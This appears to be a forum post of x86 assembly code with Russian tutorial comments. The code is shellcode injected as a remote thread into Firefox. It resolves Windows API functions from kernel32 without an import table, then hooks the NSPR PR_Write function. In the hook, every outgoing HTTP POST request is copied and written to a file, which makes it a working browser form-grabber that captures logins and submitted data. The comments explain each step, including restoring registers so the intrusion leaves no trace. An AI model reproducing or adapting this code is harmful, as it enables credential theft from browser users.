Код:
remote_thread:
;<<<<<<<<<<<<< Здесь начинается выполнение удаленного потока в процессе FireFox >>>>>>>>>>>>>>>
;<<<<<<<<Найдём дельта смещение>>>>>>>>>>
call delta
delta:
pop ebp;
sub ebp,delta
;<<<<<<<<Дельта смещение теперь находится в ebp>>>>>>>>>>
;"Делта смещение" не страшная штука. Просто его надо добавлять ко всех адресам переменных, если кодиш в стиле шелл кода.
;Вообще шелл кодом называют всё, что внедряется и исполняется в чужом процессе.
;Так же шел коды используются для выполнения команд при переполнении буфера.
;Для таких шелл кодов правила еще строже, например нельзя, чтобы в опкодах были NULL байты, иначе выполнение прекратиться.
;опкод - это шестнадцатеричные(Fuck!) цифры соответствующие асамблерным командам.
;Их можно увидеть с помощью HEX редактора или Дебагера в исполняемом файле exe.
jmp First; <<< Перепрыгиваем через переменные.
;<<<<<<<<Секция переменных.>>>>>>>>>>
KernelBase dd ?
GPAcall dd ?
GMHcall dd ?
HUser32 dd ?
VirtProt dd ?
OldProt db ?
HMod dd ?
hFile dd ?
flbytes dd ?
CreateFileCall dd ?
SetFilePointerCall dd ?
WriteFileCall dd ?
CloseHandleCall dd ?
FuncAdr dd ?
eaxrest dd ?
esprest dd ?
ecxrest dd ?
edxrest dd ?
ebxrest dd ?
edirest dd ?
esirest dd ?
ebprest dd ?
dataadr dd ?
datalen dd ?
;<<<<<<<<Секция переменных закончилась.>>>>>>>>>>
;Для писателей на более высоких языках покажется удивительным, что через переменные надо перепрыгивать. Да это дейсвительно так)
First:
;<<<<<<<<<<<<< Ниже описан один из способов получения начала модуля KERNEL32.DLL >>>>>>>>>>>>>>>
;Не знаю чьё авторство, и точно знаю, что не моё.
;Начало модуля оно же, хэндл, база и адрес модуля.
;Kernel Base ->
xor eax,eax
mov eax,[fs:eax+30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h]
mov [KernelBase+ebp],eax
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;Addres of GetProcAddress in [GPA]
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add ebx,[KernelBase+ebp]
mov edx,1
_find:
push ebx
mov ecx,14
mov eax,[ebx]
add eax,[KernelBase+ebp]
mov esi,eax
lea edi,[GPA+ebp]
cld
repe cmpsb
jz _ok
pop ebx
add ebx,4
inc edx
jmp _find
_ok:
xor eax,eax
mov eax,[KernelBase+ebp]
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;---
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add ebx,[KernelBase+ebp]
shl edx,1
add ebx,edx
mov edx,[ebx]
movzx ebx,dx
;------------
sub ebx,1
shl ebx,2
mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add eax,[KernelBase+ebp]
add eax,ebx
mov ecx,[eax]
add ecx,[KernelBase+ebp]
mov [GPAcall+ebp],ecx
pop ecx
;----------------End Get Address of GetProcAddress--------
lea ecx,[GMH+ebp]
lea edx,[KernelBase+ebp]
mov edx,[edx]
push ecx
push edx
call [GPAcall+ebp]
mov [GMHcall+ebp],eax
;-------------End Get Address of GetModuleHanle--------
;<<<<<<<<<< Отсюда начинаются собственные разработки >>>>>>>>>>>>>>>>>
;<<<<<<<<<< Получаем адреса WinAPI функций используемых в коде>>>>>>>>>>>>>>>>>
;Получение адресов нужно, потому что мы инжектили код без Таблицы Импорта API функций (IAT).
mov ecx,USER32; <<< В ECX помещается имя модуля, в качестве параметра.
call GetModHandle; <<< Вызов самопальной метки, которая возвращает хэндл модуля.
mov [HUser32+ebp],eax
;----------------- Handle of User32.dll ----------------
mov ecx,VirtualProt;<<< В ECX помещается имя функции, в качестве параметра.
mov eax,KernelBase;<<< В EAX помещается хэндл модуля, в которой находится функа, в качестве параметра.
call GetAddr; <<< Вызов самопальной метки, которая возвращает адрес API функции.
mov [VirtProt+ebp],eax
;----------------- VirtualProtect -----------------
mov ecx,CreateFileStr
mov eax,KernelBase
call GetAddr
mov [CreateFileCall+ebp],eax
;---------------- CreatFileA ---------------------
mov ecx,SetFilePointerStr
mov eax,KernelBase
call GetAddr
mov [SetFilePointerCall+ebp],eax
;----------------- SetFilePointer ------------------
mov ecx,WriteFileStr
mov eax,KernelBase
call GetAddr
mov [WriteFileCall+ebp],eax
;------------------ WriteFile -------------------
mov ecx,CloseHandleStr
mov eax,KernelBase
call GetAddr
mov [CloseHandleCall+ebp],eax
;---------------------- CloseHandle ----------------------
;<<<<<<<<<< Получили все WinAPI функции>>>>>>>>>>>>>>>>>
;<<<<<<<<<< Установка перехвата>>>>>>>>>>>>>>>>>
push NPR ; <<< Пихаем в стёк адрес на который будет происходить JMP
push PR_WriteStr; <<< Название перехватываемой функции
push nspr4; <<< Название модуля перехватываемой функции
call HookAPI; <<< Вызов установки перехвата. (Метка ниже)
ret ; <<< Удалённый поток заканчивается.
;<<<<<<<<<< Установка перехвата закончена>>>>>>>>>>>>>>>>>
;<<<<<<<<<< Этот код выполняется при вызове функции PR_Write(...) в контексте FireFox >>>>>>>>>>>>>>>>>
NPR:
;>>>>>>>>>>>>>>>>Так называемый brige или по нашенски мостик<<<<<<<<<<<<<<<<<<
mov eax, dword[ss:esp+4]
mov ecx, dword [ds:eax]
;>>>>>>>>>>>>>>>>В мостике находятся первые затёртые команды из хукнутой функции<<<<<<<<<<<<<<<<<<
; Мостик нужен для того чтобы не переписывать начало функции по сто раз, что вызывает ошибки в многопоточных приложениях.
;>>>>>>>>>>>>>>>> Знакомая дельта)<<<<<<<<<<<<<<<<<<
call deltax
deltax:
pop edx;
sub edx,deltax
;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Сохраняем регистры, чтобы никто не заметил следов, что мы побывали у них дома.<<<<<<<<<<<<<<<<<<
mov [ebxrest+edx],ebx
mov [edirest+edx],edi
mov [esirest+edx],esi
mov [ecxrest+edx],ecx
mov [ebprest+edx],ebp
mov [eaxrest+edx],eax
;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
;Не хотелось портить стёк.
;>>>>>>>>>>>>>>>>Самая ответственная часть, здесь копируем параметры функции<<<<<<<<<<<<<<<<<<
mov ebp,edx ; <<< Помещаем дельту в EBP
mov eax,[esp+0x08]; <<< Кладём в EAX адрес начала строки запроса.
.if dword [eax]<>'POST'; <<< Начинается ли запрос на POST?
jmp NoWork; <<< Если нет, скачем на метку NoWork
.endif <<< Если нашли POST то продолжаем выполнять.
mov [dataadr+ebp],eax; <<< В dataadr адрес начала строки запроса.
mov eax,[esp+0x0C]; <<< В EAX длина запроса
mov [datalen+ebp],eax; <<< Теперь в datalen
push [dataadr+ebp]; <<< Кладём в стёк параметр(начала строки запроса)
push [datalen+ebp]; <<< Кладём в стёк параметр(длина запроса)
call WriteToFile; <<< Прыгаем на метку WriteToFile
NoWork:
mov edx,ebp; <<< Возвращаем дельту на место (знаю можно xchg)
;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
;>>>>>>>>>>>>>>>>Восстанавливаем регистры<<<<<<<<<<<<<<<<<<
mov ebx,[ebxrest+edx]
mov edi,[edirest+edx]
mov esi,[esirest+edx]
mov ecx,[ecxrest+edx]
mov ebp,[ebprest+edx]
mov eax,[eaxrest+edx]
;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
;Не востанавливаю только edx т.к. всё равно в неё потом что то pop'ится :_)
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
mov edx,[FuncAdr+edx]; <<< В EDX адрес PR_Write()
add edx,$06; <<< Прибавляем к edx смещение от начала в котором находятся JMP XXXXXXXX и INC ECX (6 байт опкода)
jmp edx ; <<< Джампим на edx
;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
ret